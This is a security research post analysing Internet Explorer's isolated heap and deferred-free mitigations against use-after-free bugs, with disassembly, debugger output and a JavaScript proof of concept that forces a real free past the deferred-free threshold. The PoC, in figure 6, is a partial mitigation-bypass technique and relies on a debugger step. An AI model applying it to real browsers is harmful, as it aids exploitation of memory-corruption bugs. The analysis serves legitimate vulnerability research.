Use-after-free bugs have affected Internet Explorer for years. In the past year alone, Microsoft patched 122 IE vulnerabilities, the majority of which were use-after-free bugs. This year Microsoft has already patched 126 IE vulnerabilities to date. Of those vulnerabilities, 4 were actively being exploited in the wild. These 4 exploits (CVE-2014-1815, CVE-2014-1776, CVE-2014-0322, CVE-2014-0324) were all based on use-after-free bugs.
To deal with the increasing number of use-after-free bugs and associated exploits, Microsoft introduced a series of new control mechanisms in the most recent Internet Explorer patches. In June, Microsoft introduced a new isolated heap mechanism to solve the usage issue of use-after-free exploitation. They followed that up In July by implementing a deferred free method to solve the freeing issue of use-after-free bugs.
The main concept of an isolated heap is simple. It allocates a dedicated heap for select critical objects to use that is separate from other heaps that a user can directly access. The heap block will not be occupied by user-controlled data after the critical objects are freed. This mechanism prevents precise control of the data of a freed object from further exploitation.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
.text:63DA6814 ; int __stdcall _MemIsolatedAlloc(SIZE_T dwBytes) .text:63DA6814 __MemIsolatedAlloc@4 proc near .text:63DA6814 dwBytes = dword ptr 8 .text:63DA6814 .text:63DA6814 mov edi, edi .text:63DA6816 push ebp .text:63DA6817 mov ebp, esp .text:63DA6819 push [ebp+dwBytes] ; dwBytes .text:63DA681C push 0 ; dwFlags .text:63DA681E push _g_hIsolatedHeap ; hHeap .text:63DA6824 call ds:__imp__HeapAlloc@12 ; HeapAlloc(x,x,x) .text:63DA682A pop ebp .text:63DA682B retn 4 .text:63DA682B __MemIsolatedAlloc@4 endp |
Figure 1. _g_hIsolatedHeap handle used for isolated heap
The isolated heap was applied to many but not all internal objects, leaving some still vulnerable. To address this, Microsoft introduced another protection method of deferred free named ProtectedFree. They encapsulate this method and apply it to almost every object in mshtml.dll. In IE9, for example, it has been applied to every object through MemoryProtection::HeapFree as shown in figure 2.
Figure 2. References of MemoryProtection::HeapFree
The main idea of this protection mechanism is to delay the freeing action so that the intruder is unable to determine when they can occupy the freed object using controlled data. In this new patch, every time Internet Explorer tries to free an object, it is not freed immediately. Instead, the block to be freed is marked and filled with 0x00 data and added to a pool. When the size of the pool hits a predefined threshold, which is currently 100k (0x186A0 as highlighted in figure 3), it performs the real freeing operation (ReclaimUnmarkedBlocks).
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
void MemoryProtection::CMemoryProtector::ProtectedFree(void *hProcessHeap, void* lpMem, DWORD a, void *b) { ... v_lpMem = lpMem; v_ProcessHeap = hProcessHeap; if ( !lpMem ) return; if ( MemoryProtection::CMemoryProtector::tlsSlotForInstance == -1 || (st_ProtecFreeManageHeap = TlsGetValue(MemoryProtection::CMemoryProtector::tlsSlotForInstance)) == 0) { HeapFree(v_ProcessHeap, 0, (LPVOID)lpMem); return; } if ( *((_DWORD *)v_ProcessHeapBase + 2) &&(*((_DWORD *)st_ProtecFreeManageHeap+ 1) >= 0x186A0 || *((_BYTE *)st_ProtecFreeManageHeap + 20))) { MemoryProtection::CMemoryProtector::MarkBlocks(st_ProtecFreeManageHeap, &v17); MemoryProtection::CMemoryProtector::ReclaimUnmarkedBlocks(st_ProtecFreeManageHeap); } ... } |
Figure 3. C++ style pseudo code of ProtectedFree function
Microsoft stores the to-be-freed blocks in a structure called st_ProtecFreeManageHeap. This structure is created in the function MemoryProtection::CMemoryProtector::ProtectCurrentThread and is used to manage deferred free heap blocks. Figure 4 shows an example of the structure in memory.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 |
0:007> dc 0e6f6fe0 0e6f6fe0 0e829000 00008bfa 000000fe 00000400 ................ 0e6f6ff0 c0c0c000 c0c0c000 0ca70000 0ca6c8e8 ................ Red: current heap block address Yellow: current heap block size Blue: current heap block counts Green: heap block capacity Gray: HeapBase 0:007> !heap -p -a 0e6f6fe0 address 0e6f6fe0 found in _DPH_HEAP_ROOT @ 61000 in busy allocation (DPH_HEAP_BLOCK: UserAddr UserSize VirtAddr VirtSize) e463888: e6f6fe0 20 e6f6000 2000 6ca48e89 verifier!AVrfDebugPageHeapAllocate+0x00000229 76f55ede ntdll!RtlDebugAllocateHeap+0x00000030 76f1a40a ntdll!RtlpAllocateHeap+0x000000c4 76ee5ae0 ntdll!RtlAllocateHeap+0x0000023a 660120b0 MSHTML!MemoryProtection::CMemoryProtector::ProtectCurrentThread+0x00000062 65ea9138 MSHTML!GlobalWndProc+0x00000015 7596c4e7 user32!InternalCallWinProc+0x00000023 75965f9f user32!UserCallWinProcCheckWow+0x000000e0 75964f0e user32!DispatchClientMessage+0x000000da 7595e98a user32!__fnINLPCREATESTRUCT+0x0000008b 76ed702e ntdll!KiUserCallbackDispatcher+0x0000002e 7595ec54 user32!_CreateWindowEx+0x00000201 7595ecaf user32!CreateWindowExW+0x00000033 6c4f3985 IEShims!NS_HangResistanceInternal::APIHook_CreateWindowExW+0x00000081 660123e3 MSHTML!InitGlobalWindow+0x00000098 … .text:63752097; CODE XREF: MemoryProtection::CMemoryProtector::ProtectCurrentThread(void)+169054j .text:63752097 test edi, edi .text:63752099 jz loc_635E90E1 .text:6375209F push ebx .text:637520A0 push 20h ; dwBytes .text:637520A2 xor ebx, ebx .text:637520A4 push ebx ; dwFlags .text:637520A5 push _g_hProcessHeap ; hHeap .text:637520AB call _HeapAlloc@12 ; HeapAlloc(x,x,x) .text:637520B0 mov esi, eax .text:637520B2 test esi, esi .text:637520B4 jz short loc_63752101 .text:637520B6 mov [esi], ebx .text:637520B8 mov [esi+4], ebx .text:637520BB mov [esi+8], ebx .text:637520BE mov [esi+0Ch], ebx .text:637520C1 mov [esi+10h], bl .text:637520C4 mov [esi+14h], bl .text:637520C7 mov [esi+18h], ebx .text:637520CA mov [esi+1Ch], ebx |
Figure 4. st_ProtecFreeManageHeap
Figure 5 provides an alternate view of the structure in a C style code block.
1 2 3 4 5 6 7 8 9 10 11 12 13 |
typedef struct SBlockDescriptor{ LPVOID mem; // if(!(mem&2)) mem from ProcessHeap; Else from IsolateHeap; DWORd MemSize; }; typedef struct st_ProtecFreeManageHeap{ PVOID buffer; //point to an array of SBlockDescriptor DWORD TotalMemorySize; DWORD CurrentNumOfDescriptor; DWORD MaxNumOfDescriptor; BOOL bQsorted; //*((BYTE*)this+16) … } |
Figure 5. C style code of st_ProtecFreeManageHeap
If we were able to make the size of the current heap block in this structure larger than the threshold of 0x186A0 bytes and trigger CMemoryProtector::ProtectedFree, it is still possible to force a true freeing action and occupy the freed object with other data as we show in the following piece of javascript code in figure 6.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
<html> <head> </head> <body> <script> alert("we’ll create a UAF using windbg"); arr = new Array(); arr2 = new Array(); //create anchor Element var anchor = document.createElement('a'); //arr[0] = anchor; //arr2[0] = anchor; document.body.appendChild(anchor); //now anchor refcount is 2. alert("use windbg attach IE process and make the anchor Element's refcount decreased by 1"); //arr[0] = ""; document.body.removeChild(anchor); alert("anchor Element has been protected free’d"); //fill the “current heap block size” in v_ProtectFreeManageHeap structure and make it bigger than 0x186A0 for(var i=0; i<0x3f0; i++){ arr[i] = document.createElement('a'); } //trigger “CMemoryProtector::ProtectedFree” once again for(var i=0; i<0x3f0; i++){ arr[i] = ""; } CollectGarbage(); alert("ForceFree_done") alert("reuse"); alert(anchor.title); </script> |
Figure 6. Javascript proof of concept to force freeing
When creating the anchor element, the debug logs are shown in figure 7. The address of the anchor element is 0x0c3b3f98.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
0:005> dc 0c3b3f98 0c3b3f98 650acb88 00000002 00000002 00000008 ...e............ 0c3b3fa8 65c87088 00000000 0ba65750 0c3b5fa0 .p.e....PW..._;. 0c3b3fb8 00000002 02040000 90000e00 00060004 ................ 0c3b3fc8 0c39dbd8 650acb64 0c3b3fcc 00000000 ..9.d..e.?;..... 0c3b3fd8 00000000 00000000 00000000 00000000 ................ 0c3b3fe8 00000000 00000000 00000000 00000000 ................ 0c3b3ff8 00000001 d0d0d0d0 ???????? ???????? ........???????? 0:005> !heap -p -a 0c3b3f98 address 0c3b3f98 found in _DPH_HEAP_ROOT @ c381000 in busy allocation (DPH_HEAP_BLOCK: UserAddr UserSize VirtAddr VirtSize) c381ac0: c3b3f98 64 c3b3000 2000 MSHTML!CAnchorElement::`vftable' 6dae8e89 verifier!AVrfDebugPageHeapAllocate+0x00000229 76f55ede ntdll!RtlDebugAllocateHeap+0x00000030 76f1a40a ntdll!RtlpAllocateHeap+0x000000c4 76ee5ae0 ntdll!RtlAllocateHeap+0x0000023a 650aca58 MSHTML!CAnchorElement::CreateElement+0x00000018 64e98e84 MSHTML!CreateElement+0x00000061 64f0d1dd MSHTML!CMarkup::CreateElement+0x00000191 64f0d35b MSHTML!CDocument::CreateElementHelper+0x000000fb 64f0d432 MSHTML!CDocument::Var_createElement+0x00000046 64f0d3cf MSHTML!CFastDOM::CDocument::Trampoline_createElement+0x00000044 681342b4 jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x00000165 68132ea4 jscript9!Js::InterpreterStackFrame::Process+0x00000ba8 6813351a jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x000001e8 |
Figure 7: Before free
We then manually decrease the reference number, so the CMemoryProtector::ProtectedFree function will fill the block with 0’s, but the object is still not freed.
1 2 3 4 5 6 7 8 |
Set anchor 0x00 0c3b3f98 00000000 00000000 00000000 00000000 0c3b3fa8 00000000 00000000 00000000 00000000 0c3b3fb8 00000000 00000000 00000000 00000000 0c3b3fc8 00000000 00000000 00000000 00000000 0c3b3fd8 00000000 00000000 00000000 00000000 0c3b3fe8 00000000 00000000 00000000 00000000 0c3b3ff8 00000000 d0d0d0d0 ???????? ???????? |
Figure 8: decrease the reference number, not yet freed
Finally we make the size of the CMemoryProtector::ProtectedFree management structure larger than 0x186a0 forcing the freeing operation.
1 2 3 |
0:007> dc eax 0dde6fe0 0e109000 000186b2 000003a5 00000400 ................ 0dde6ff0 c0c0c000 c0c0c000 0c380000 0c37c590 ..........8...7. |
Figure 9: field “TotalMemorySize” of st_ProtecFreeManageHeap is greater than threshold
The anchor element is now actually freed as shown in figure 10.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
0:006> !heap -p -a 0c3b3f98 address 0c3b3f98 found in _DPH_HEAP_ROOT @ c381000 in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize) c381ac0: c3b3000 2000 6dae90b2 verifier!AVrfDebugPageHeapFree+0x000000c2 76f566ac ntdll!RtlDebugFreeHeap+0x0000002f 76f1a13e ntdll!RtlpFreeHeap+0x0000005d 76ee65a6 ntdll!RtlFreeHeap+0x00000142 76dfc3d4 kernel32!HeapFree+0x00000014 64e56dc3 MSHTML!MemoryProtection::CMemoryProtector::ReclaimUnmarkedBlocks+0x00000046 652468b0 MSHTML!CAnchorElement::`scalar deleting destructor'+0x0000008c 64e59602 MSHTML!CElement::PrivateRelease+0x000001b3 651cec6a MSHTML!CBase::JSBind_Release+0x00000016 681ab380 jscript9!Js::CustomExternalObject::Dispose+0x00000017 681aaf97 jscript9!SmallFinalizableHeapBlock::DisposeObjects+0x00000067 681ab17e jscript9!HeapInfo::DisposeObjects+0x000000b0 681ab078 jscript9!Recycler::DisposeObjects+0x00000049 681ab027 jscript9!Recycler::FinishDisposeObjects+0x0000001a 681a7a34 jscript9!DefaultRecyclerCollectionWrapper::ExecuteRecyclerCollectionFunction+0x00000017 681a7a06 jscript9!ThreadContext::ExecuteRecyclerCollectionFunctionCommon+0x0000003b 681a798c jscript9!ThreadContext::ExecuteRecyclerCollectionFunction+0x000000ad 681a80ef jscript9!Recycler::DoCollectWrapped+0x0000005a 682d8748 jscript9!Recycler::Collect<-1073475584>+0x0000004b 6813302e jscript9!Js::InterpreterStackFrame::Process+0x00001e54 6813351a jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x000001e8 |
Figure 10: object is in the free list now
From a researchers' point of view, deferred free created a few problems, one of the major ones being that the page heap feature may not work correctly. Page heap is a useful feature for debugging. When page heap is turned on, the system allows only one object in one memory page. Once this object is freed the whole page is marked as invalid. So the next time IE tries to access a freed object an invalid address exception would be raised. This mechanism is extremely helpful when researchers are trying to find use-after-free bugs.
With the introduction of the deferred free patch the object is no longer truly freed, so the page still exists. In this situation the researcher is no longer able to determine whether a use-after-free behavior has occurred because no exception would be thrown out. To reduce the impact of the deferred free patch, a research may consider patching the mshtml.dll in memory. For example, you can call MemoryProtection::CMemoryProtector::UnprotectProcess before you perform any fuzzing tasks.
The recent patches and introduction of isolated heap and deferred free are strong signs that Microsoft plans to address the fundamentals of use-after-free exploitation in a preventative manner rather than to passively patch the vulnerabilities as they are discovered. From the results of our research, applications of such methods can effectively stop unpatched use-after-free attacks. It can also make the exploitations of heap overflows or type confusion bugs significantly more difficult. But this is not the end.
For the foreseeable future, Microsoft may introduce more defensive mechanisms against use-after-free bugs or even heap fengshui to reduce the risk of being exploited. Could it be game over for use-after-free exploitation, or it is just the beginning of another cat and mouse game? Time will tell.